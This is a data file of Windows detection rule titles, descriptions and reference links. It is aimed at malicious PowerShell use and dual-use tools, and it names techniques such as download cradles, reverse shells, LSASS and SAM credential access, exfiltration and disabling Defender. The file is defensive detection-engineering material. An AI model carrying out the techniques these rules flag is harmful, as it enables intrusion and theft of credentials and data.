Potential PowerShell Obfuscation Via Reversed Commands	Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers	https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/, https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66
ConvertTo-SecureString Cmdlet Usage Via CommandLine	Detects usage of the "ConvertTo-SecureString" cmdlet via the commandline. Which is fairly uncommon and could indicate potential suspicious activity	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/convertto-securestring?view=powershell-7.3#examples
Potential PowerShell Command Line Obfuscation	Detects the PowerShell command lines with special characters	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64
Computer Discovery And Export Via Get-ADComputer Cmdlet	Detects usage of the Get-ADComputer cmdlet to collect computer information and output it to a file	http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html, https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/, https://www.cisa.gov/uscert/sites/default/files/publications/aa22-320a_joint_csa_iranian_government-sponsored_apt_actors_compromise_federal%20network_deploy_crypto%20miner_credential_harvester.pdf
New Service Creation Using PowerShell	Detects the creation of a new service using powershell.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1543.003/T1543.003.md
Gzip Archive Decode Via PowerShell	Detects attempts of decoding encoded Gzip archives via PowerShell.	https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
PowerShell Execution With Potential Decryption Capabilities	Detects PowerShell commands that decrypt an ".LNK" "file to drop the next stage of the malware.	https://research.checkpoint.com/2023/chinese-threat-actors-targeting-europe-in-smugx-campaign/
Powershell Defender Disable Scan Feature	Detects requests to disable Microsoft Defender features using PowerShell commands	https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference?view=windowsserver2022-ps, https://www.virustotal.com/gui/file/d609799091731d83d75ec5d1f030571af20c45efeeb94840b67ea09a3283ab65/behavior/C2AE, https://www.virustotal.com/gui/search/content%253A%2522Set-MpPreference%2520-Disable%2522/files
Powershell Defender Exclusion	Detects requests to exclude files, folders or processes from Antivirus scanning using PowerShell cmdlets	https://learn.microsoft.com/en-us/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://twitter.com/AdamTheAnalyst/status/1483497517119590403
Disable Windows Defender AV Security Monitoring	Detects attackers attempting to disable Windows Defender using Powershell	https://research.nccgroup.com/2020/06/23/wastedlocker-a-new-ransomware-variant-developed-by-the-evil-corp-group/, https://rvsec0n.wordpress.com/2020/01/24/malwares-that-bypass-windows-defender/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md
Windows Firewall Disabled via PowerShell	Detects attempts to disable the Windows Firewall using PowerShell	https://www.elastic.co/guide/en/security/current/windows-firewall-disabled-via-powershell.html
Potential PowerShell Downgrade Attack	Detects PowerShell downgrade attack by comparing the host versions with the actually used engine version 2.0	http://www.leeholmes.com/blog/2017/03/17/detecting-and-preventing-powershell-downgrade-attacks/, https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#bypass-or-avoid-amsi-by-version-downgrade-
Disabled IE Security Features	Detects command lines that indicate unwanted modifications to registry keys that disable important Internet Explorer security features	https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/
Potential COM Objects Download Cradles Usage - Process Creation	Detects usage of COM objects that can be abused to download files in PowerShell by CLSID	https://learn.microsoft.com/en-us/dotnet/api/system.type.gettypefromclsid?view=net-7.0, https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=57
PowerShell Web Download	Detects suspicious ways to download files or content using PowerShell	https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd
Obfuscated PowerShell OneLiner Execution	Detects the execution of a specific OneLiner to download and execute powershell modules in memory.	https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/, https://gist.github.com/mgeeky/3b11169ab77a7de354f4111aa2f0df38
Potential DLL File Download Via PowerShell Invoke-WebRequest	Detects potential DLL files being downloaded using the PowerShell Invoke-WebRequest cmdlet	https://www.zscaler.com/blogs/security-research/onenote-growing-threat-malware-distribution
PowerShell Download and Execution Cradles	Detects PowerShell download and execution cradles.	https://github.com/VirtualAlllocEx/Payload-Download-Cradles/blob/88e8eca34464a547c90d9140d70e9866dcbc6a12/Download-Cradles.cmd, https://labs.withsecure.com/publications/fin7-target-veeam-servers
PowerShell Download Pattern	Detects a Powershell process that contains download commands in its command line string	https://blog.redteam.pl/2020/06/black-kingdom-ransomware.html, https://lab52.io/blog/winter-vivern-all-summer/, https://hatching.io/blog/powershell-analysis/
Potentially Suspicious File Download From File Sharing Domain Via PowerShell.EXE	Detects potentially suspicious file downloads from file sharing domains using PowerShell.exe	https://labs.withsecure.com/publications/fin7-target-veeam-servers, https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv, https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/, https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
DSInternals Suspicious PowerShell Cmdlets	Detects execution and usage of the DSInternals PowerShell module. Which can be used to perform what might be considered as suspicious activity such as dumping DPAPI backup keys or manipulating NTDS.DIT files. The DSInternals PowerShell Module exposes several internal features of Active Directory and Azure Active Directory. These include FIDO2 and NGC key auditing, offline ntds.dit file manipulation, password auditing, DC recovery from IFM backups and password hash calculation.	https://github.com/MichaelGrafnetter/DSInternals/blob/39ee8a69bbdc1cfd12c9afdd7513b4788c4895d4/Src/DSInternals.PowerShell/DSInternals.psd1
Email Exifiltration Via Powershell	Detects email exfiltration via powershell cmdlets	https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/, https://github.com/Azure/Azure-Sentinel/blob/7e6aa438e254d468feec061618a7877aa528ee9f/Hunting%20Queries/Microsoft%20365%20Defender/Ransomware/DEV-0270/Email%20data%20exfiltration%20via%20PowerShell.yaml
Potential Suspicious Windows Feature Enabled - ProcCreation	Detects usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images	https://learn.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps, https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system, https://learn.microsoft.com/en-us/windows/wsl/install-on-server
Suspicious Execution of Powershell with Base64	Commandline to launch powershell with a base64 payload	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.001/T1059.001.md#atomic-test-20---powershell-invoke-known-malicious-cmdlets, https://unit42.paloaltonetworks.com/unit42-pulling-back-the-curtains-on-encodedcommand-powershell-attacks/, https://mikefrobbins.com/2017/06/15/simple-obfuscation-with-powershell-using-base64-encoding/
Potential Encoded PowerShell Patterns In CommandLine	Detects specific combinations of encoding methods in PowerShell via the commandline	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65
Powershell Inline Execution From A File	Detects inline execution of PowerShell code from a file	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=50
Certificate Exported Via PowerShell	Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.	https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a, https://learn.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate?view=windowsserver2022-ps, https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html
Base64 Encoded PowerShell Command Detected	Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string	https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
Suspicious FromBase64String Usage On Gzip Archive - Process Creation	Detects attempts of decoding a base64 Gzip archive via PowerShell. This technique is often used as a method to load malicious content into memory afterward.	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=43
PowerShell Get-Process LSASS	Detects a "Get-Process" cmdlet and it's aliases on lsass process, which is in almost all cases a sign of malicious activity	https://web.archive.org/web/20220205033028/https://twitter.com/PythonResponder/status/1385064506049630211
Suspicious Reconnaissance Activity Using Get-LocalGroupMember Cmdlet	Detects suspicious reconnaissance command line activity on Windows systems using the PowerShell Get-LocalGroupMember Cmdlet	https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
PowerShell Get-Clipboard Cmdlet Via CLI	Detects usage of the 'Get-Clipboard' cmdlet via CLI	https://github.com/OTRF/detection-hackathon-apt29/issues/16, https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md
Abuse of Service Permissions to Hide Services Via Set-Service	Detects usage of the "Set-Service" powershell cmdlet to configure a new SecurityDescriptor that allows a service to be hidden from other utilities such as "sc.exe", "Get-Service"...etc. (Works only in powershell 7)	https://twitter.com/Alh4zr3d/status/1580925761996828672, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/set-service?view=powershell-7.2
Suspicious PowerShell IEX Execution Patterns	Detects suspicious ways to run Invoke-Execution using IEX alias	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.2, https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
Root Certificate Installed From Susp Locations	Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.	https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/, https://learn.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps
Import PowerShell Modules From Suspicious Directories - ProcCreation	Detects powershell scripts that import modules from suspicious directories	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md
Unsigned AppX Installation Attempt Using Add-AppxPackage	Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages	https://learn.microsoft.com/en-us/windows/msix/package/unsigned-package, https://twitter.com/WindowsDocs/status/1620078135080325122
Suspicious PowerShell Invocations - Specific - ProcessCreation	Detects suspicious PowerShell invocation command parameters	Internal Research
Suspicious Invoke-WebRequest Execution With DirectIP	Detects calls to PowerShell with Invoke-WebRequest cmdlet using direct IP access	https://www.huntress.com/blog/critical-vulnerabilities-in-papercut-print-management-software
Suspicious Invoke-WebRequest Execution	Detects a suspicious call to Invoke-WebRequest cmdlet where the and output is located in a suspicious location	https://www.sentinelone.com/blog/living-off-windows-defender-lockbit-ransomware-sideloads-cobalt-strike-through-microsoft-security-tool/
Suspicious PowerShell Mailbox Export to Share	Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations	https://youtu.be/5mqid-7zp8k?t=2481, https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html, https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1, https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
Malicious PowerShell Commandlets - ProcessCreation	Detects Commandlet names from well-known PowerShell exploitation frameworks	https://adsecurity.org/?p=2921, https://github.com/S3cur3Th1sSh1t/PowerSharpPack/tree/master/PowerSharpBinaries, https://github.com/BC-SECURITY/Invoke-ZeroLogon/blob/111d17c7fec486d9bb23387e2e828b09a26075e4/Invoke-ZeroLogon.ps1, https://github.com/xorrior/RandomPS-Scripts/blob/848c919bfce4e2d67b626cbcf4404341cfe3d3b6/Get-DXWebcamVideo.ps1, https://github.com/rvrsh3ll/Misc-Powershell-Scripts/blob/6f23bb41f9675d7e2d32bacccff75e931ae00554/OfficeMemScraper.ps1, https://github.com/dafthack/DomainPasswordSpray/blob/b13d64a5834694aa73fd2aea9911a83027c465a7/DomainPasswordSpray.ps1, https://unit42.paloaltonetworks.com/threat-assessment-black-basta-ransomware/, https://research.nccgroup.com/2022/06/06/shining-the-light-on-black-basta/, https://github.com/calebstewart/CVE-2021-1675, https://github.com/BloodHoundAD/BloodHound/blob/0927441f67161cc6dc08a53c63ceb8e333f55874/Collectors/AzureHound.ps1, https://bloodhound.readthedocs.io/en/latest/data-collection/azurehound.html, https://github.com/HarmJ0y/DAMP, https://github.com/samratashok/nishang, https://github.com/DarkCoderSc/PowerRunAsSystem/, https://github.com/besimorhino/powercat, https://github.com/Kevin-Robertson/Powermad, https://github.com/adrecon/ADRecon, https://github.com/adrecon/AzureADRecon
MSExchange Transport Agent Installation	Detects the Installation of a Exchange Transport Agent	https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=7
Non Interactive PowerShell Process Spawned	Detects non-interactive PowerShell activity by looking at the "powershell" process with a non-user GUI process such as "explorer.exe" as a parent.	https://web.archive.org/web/20200925032237/https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html
Potential PowerShell Obfuscation Via WCHAR	Detects suspicious encoded character syntax often used for defense evasion	https://twitter.com/0gtweet/status/1281103918693482496
Execution of Powershell Script in Public Folder	This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder	https://www.mandiant.com/resources/evolution-of-fin7
Tamper Windows Defender Remove-MpPreference	Detects attempts to remove Windows Defender configurations using the 'MpPreference' cmdlet	https://techcommunity.microsoft.com/t5/core-infrastructure-and-security/windows-10-controlled-folder-access-event-search/ba-p/2326088
RemoteFXvGPUDisablement Abuse Via AtomicTestHarnesses	Detects calls to the AtomicTestHarnesses "Invoke-ATHRemoteFXvGPUDisablementCommand" which is designed to abuse the "RemoteFXvGPUDisablement.exe" binary to run custom PowerShell code via module load-order hijacking.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md, https://github.com/redcanaryco/AtomicTestHarnesses/blob/7e1e4da116801e3d6fcc6bedb207064577e40572/TestHarnesses/T1218_SignedBinaryProxyExecution/InvokeRemoteFXvGPUDisablementCommand.ps1
Potential Powershell ReverseShell Connection	Detects usage of the "TcpClient" class. Which can be abused to establish remote connections and reverse-shells. As seen used by the Nishang "Invoke-PowerShellTcpOneLine" reverse shell and other.	https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/, https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/, https://github.com/samratashok/nishang/blob/414ee1104526d7057f9adaeee196d91ae447283e/Shells/Invoke-PowerShellTcpOneLine.ps1
Run PowerShell Script from ADS	Detects PowerShell script execution from Alternate Data Stream (ADS)	https://github.com/p0shkatz/Get-ADS/blob/1c3a3562e713c254edce1995a7d9879c687c7473/Get-ADS.ps1
Run PowerShell Script from Redirected Input Stream	Detects PowerShell script execution via input stream redirect	https://github.com/LOLBAS-Project/LOLBAS/blob/4db780e0f0b2e2bb8cb1fa13e09196da9b9f1834/yml/LOLUtilz/OSBinaries/Powershell.yml, https://twitter.com/Moriarty_Meng/status/984380793383370752
PowerShell SAM Copy	Detects suspicious PowerShell scripts accessing SAM hives	https://twitter.com/splinter_code/status/1420546784250769408
Suspicious Service DACL Modification Via Set-Service Cmdlet	Detects suspicious DACL modifications via the "Set-Service" cmdlet using the "SecurityDescriptorSddl" flag (Only available with PowerShell 7) that can be used to hide services or make them unstopable	https://www.sans.org/blog/red-team-tactics-hiding-windows-services/, https://learn.microsoft.com/pt-br/windows/win32/secauthz/sid-strings
Suspicious PowerShell Invocation From Script Engines	Detects suspicious powershell invocations from interpreters or unusual programs	https://www.securitynewspaper.com/2017/03/20/attackers-leverage-excel-powershell-dns-latest-non-malware-attack/
PowerShell Set-Acl On Windows Folder	Detects PowerShell scripts to set the ACL to a file in the Windows folder	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1, https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md
Change PowerShell Policies to an Insecure Level	Detects changing the PowerShell script execution policy to a potentially insecure level using the "-ExecutionPolicy" flag.	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-executionpolicy?view=powershell-7.4, https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-7.4, https://adsecurity.org/?p=2604, https://thedfirreport.com/2021/11/01/from-zero-to-domain-admin/
PowerShell Script Change Permission Via Set-Acl	Detects PowerShell execution to set the ACL of a file or a folder	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.security/set-acl?view=powershell-5.1, https://github.com/redcanaryco/atomic-red-team/blob/74438b0237d141ee9c99747976447dc884cb1a39/atomics/T1505.005/T1505.005.md
Service StartupType Change Via PowerShell Set-Service	Detects the use of the PowerShell "Set-Service" cmdlet to change the startup type of a service to "disabled" or "manual"	https://www.virustotal.com/gui/file/38283b775552da8981452941ea74191aa0d203edd3f61fb2dee7b0aea3514955
Deletion of Volume Shadow Copies via WMI with PowerShell	Detects deletion of Windows Volume Shadow Copies with PowerShell code and Get-WMIObject. This technique is used by numerous ransomware families such as Sodinokibi/REvil	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md#atomic-test-5---windows---delete-volume-shadow-copies-via-wmi-with-powershell, https://www.elastic.co/guide/en/security/current/volume-shadow-copy-deletion-via-powershell.html
Exchange PowerShell Snap-Ins Usage	Detects adding and using Exchange PowerShell snap-ins to export mailbox data. As seen used by HAFNIUM and APT27	https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/, https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/, https://www.intrinsec.com/apt27-analysis/
Stop Windows Service Via PowerShell Stop-Service	Detects the stopping of a Windows service via the PowerShell Cmdlet "Stop-Service"	https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.management/stop-service?view=powershell-7.4
Suspicious PowerShell Download and Execute Pattern	Detects suspicious PowerShell download patterns that are often used in malicious scripts, stagers or downloaders (make sure that your backend applies the strings case-insensitive)	https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70, https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html
Suspicious PowerShell Parameter Substring	Detects suspicious PowerShell invocation with a parameter substring	http://www.danielbohannon.com/blog-1/2017/3/12/powershell-execution-argument-obfuscation-how-it-can-make-detection-easier
Suspicious PowerShell Parent Process	Detects a suspicious or uncommon parent processes of PowerShell	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=26
PowerShell Script Run in AppData	Detects a suspicious command line execution that invokes PowerShell with reference to an AppData folder	https://twitter.com/JohnLaTwC/status/1082851155481288706, https://app.any.run/tasks/f87f1c4e-47e2-4c46-9cf4-31454c06ce03
Powershell Token Obfuscation - Process Creation	Detects TOKEN OBFUSCATION technique from Invoke-Obfuscation	https://github.com/danielbohannon/Invoke-Obfuscation
PowerShell DownloadFile	Detects the execution of powershell, a WebClient object creation and the invocation of DownloadFile in a single command line	https://www.fireeye.com/blog/threat-research/2020/03/apt41-initiates-global-intrusion-campaign-using-multiple-exploits.html
User Discovery And Export Via Get-ADUser Cmdlet	Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file	http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html, https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/
Net WebClient Casing Anomalies	Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques	https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/
Suspicious X509Enrollment - Process Creation	Detect use of X509Enrollment	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42, https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41, https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115
Suspicious XOR Encoded PowerShell Command	Detects presence of a potentially xor encoded powershell command	https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=65, https://redcanary.com/blog/yellow-cockatoo/, https://zero2auto.com/2020/05/19/netwalker-re/, https://mez0.cc/posts/cobaltstrike-powershell-exec/
Folder Compress To Potentially Suspicious Output Via Compress-Archive Cmdlet	Detects PowerShell scripts that make use of the "Compress-Archive" Cmdlet in order to compress folders and files where the output is stored in a potentially suspicious location that is used often by malware for exfiltration. An adversary might compress data (e.g., sensitive documents) that is collected prior to exfiltration in order to make it portable and minimize the amount of data sent over the network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md, https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
Arbitrary File Download Via PresentationHost.EXE	Detects usage of "PresentationHost" which is a utility that runs ".xbap" (Browser Applications) files to download arbitrary files	https://github.com/LOLBAS-Project/LOLBAS/pull/239/files
XBAP Execution From Uncommon Locations Via PresentationHost.EXE	Detects the execution of ".xbap" (Browser Applications) files via PresentationHost.EXE from an uncommon location. These files can be abused to run malicious ".xbap" files any bypass AWL	https://lolbas-project.github.io/lolbas/Binaries/Presentationhost/
Visual Studio NodejsTools PressAnyKey Arbitrary Binary Execution	Detects child processes of Microsoft.NodejsTools.PressAnyKey.exe that can be used to execute any other binary	https://twitter.com/mrd0x/status/1463526834918854661, https://gist.github.com/nasbench/a989ce64cefa8081bd50cf6ad8c491b5
Abusing Print Executable	Attackers can use print.exe for remote file copy	https://lolbas-project.github.io/lolbas/Binaries/Print/, https://twitter.com/Oddvarmoe/status/985518877076541440
File Download Using ProtocolHandler.exe	Detects usage of "ProtocolHandler" to download files. Downloaded files will be located in the cache folder (for example - %LOCALAPPDATA%\Microsoft\Windows\INetCache\IE)	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md, https://lolbas-project.github.io/lolbas/OtherMSBinaries/ProtocolHandler/
Suspicious Provlaunch.EXE Child Process	Detects suspicious child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution.	https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/, https://twitter.com/0gtweet/status/1674399582162153472
Potential Provlaunch.EXE Binary Proxy Execution Abuse	Detects child processes of "provlaunch.exe" which might indicate potential abuse to proxy execution.	https://lolbas-project.github.io/lolbas/Binaries/Provlaunch/, https://twitter.com/0gtweet/status/1674399582162153472
Screen Capture Activity Via Psr.EXE	Detects execution of Windows Problem Steps Recorder (psr.exe), a utility used to record the user screen and clicks.	https://lolbas-project.github.io/lolbas/Binaries/Psr/, https://web.archive.org/web/20200229201156/https://www.sans.org/cyber-security-summit/archives/file/summit-archive-1493861893.pdf, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1560.001/T1560.001.md
PUA - 3Proxy Execution	Detects the use of 3proxy, a tiny free proxy server	https://github.com/3proxy/3proxy, https://blog.talosintelligence.com/2022/09/lazarus-three-rats.html
PUA - AdFind Suspicious Execution	Detects AdFind execution with common flags seen used during attacks	https://www.joeware.net/freetools/tools/adfind/, https://thedfirreport.com/2020/05/08/adfind-recon/, https://thedfirreport.com/2021/01/11/trickbot-still-alive-and-well/, https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx, https://github.com/center-for-threat-informed-defense/adversary_emulation_library/blob/bf62ece1c679b07b5fb49c4bae947fe24c81811f/fin6/Emulation_Plan/Phase1.md, https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1087.002/T1087.002.md#atomic-test-7---adfind---enumerate-active-directory-user-objects
PUA - Suspicious ActiveDirectory Enumeration Via AdFind.EXE	Detects active directory enumeration activity using known AdFind CLI flags	https://www.joeware.net/freetools/tools/adfind/, https://social.technet.microsoft.com/wiki/contents/articles/7535.adfind-command-examples.aspx, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.002/T1087.002.md
PUA - AdvancedRun Execution	Detects the execution of AdvancedRun utility	https://twitter.com/splinter_code/status/1483815103279603714, https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3, https://www.elastic.co/security-labs/operation-bleeding-bear, https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
PUA - AdvancedRun Suspicious Execution	Detects the execution of AdvancedRun utility in the context of the TrustedInstaller, SYSTEM, Local Service or Network Service accounts	https://twitter.com/splinter_code/status/1483815103279603714, https://medium.com/s2wblog/analysis-of-destructive-malware-whispergate-targeting-ukraine-9d5d158f19f3, https://www.elastic.co/security-labs/operation-bleeding-bear, https://www.winhelponline.com/blog/run-program-as-system-localsystem-account-windows/
PUA - Advanced IP Scanner Execution	Detects the use of Advanced IP Scanner. Seems to be a popular tool for ransomware groups.	https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/, https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html, https://labs.f-secure.com/blog/prelude-to-ransomware-systembc, https://assets.documentcloud.org/documents/20444693/fbi-pin-egregor-ransomware-bc-01062021.pdf, https://thedfirreport.com/2021/01/18/all-that-for-a-coinminer, https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20IP%20Scanner
PUA - Advanced Port Scanner Execution	Detects the use of Advanced Port Scanner.	https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/Advanced%20Port%20Scanner
PUA - Chisel Tunneling Tool Execution	Detects usage of the Chisel tunneling tool via the commandline arguments	https://github.com/jpillora/chisel/, https://arcticwolf.com/resources/blog/lorenz-ransomware-chiseling-in/, https://blog.sekoia.io/lucky-mouse-incident-response-to-detection-engineering/
PUA - CleanWipe Execution	Detects the use of CleanWipe a tool usually used to delete Symantec antivirus.	https://github.com/3CORESec/MAL-CL/tree/master/Descriptors/Other/CleanWipe
PUA - Crassus Execution	Detects Crassus, a Windows privilege escalation discovery tool, based on PE metadata characteristics.	https://github.com/vu-ls/Crassus
PUA - CsExec Execution	Detects the use of the lesser known remote execution tool named CsExec a PsExec alternative	https://github.com/malcomvetter/CSExec, https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/
PUA - DIT Snapshot Viewer	Detects the use of Ditsnap tool, an inspection tool for Active Directory database, ntds.dit.	https://thedfirreport.com/2020/06/21/snatch-ransomware/, https://web.archive.org/web/20201124182207/https://github.com/yosqueoy/ditsnap
PUA - DefenderCheck Execution	Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.	https://github.com/matterpreter/DefenderCheck
PUA - Fast Reverse Proxy (FRP) Execution	Detects the use of Fast Reverse Proxy. frp is a fast reverse proxy to help you expose a local server behind a NAT or firewall to the Internet.	https://asec.ahnlab.com/en/38156/, https://github.com/fatedier/frp
PUA- IOX Tunneling Tool Execution	Detects the use of IOX - a tool for port forwarding and intranet proxy purposes	https://github.com/EddieIvan01/iox
PUA - Mouse Lock Execution	In Kaspersky's 2020 Incident Response Analyst Report they listed legitimate tool "Mouse Lock" as being used for both credential access and collection in security incidents.	https://github.com/klsecservices/Publications/blob/657deb6a6eb6e00669afd40173f425fb49682eaa/Incident-Response-Analyst-Report-2020.pdf, https://sourceforge.net/projects/mouselock/
PUA - Netcat Suspicious Execution	Detects execution of Netcat. Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network	https://nmap.org/ncat/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1095/T1095.md, https://www.revshells.com/
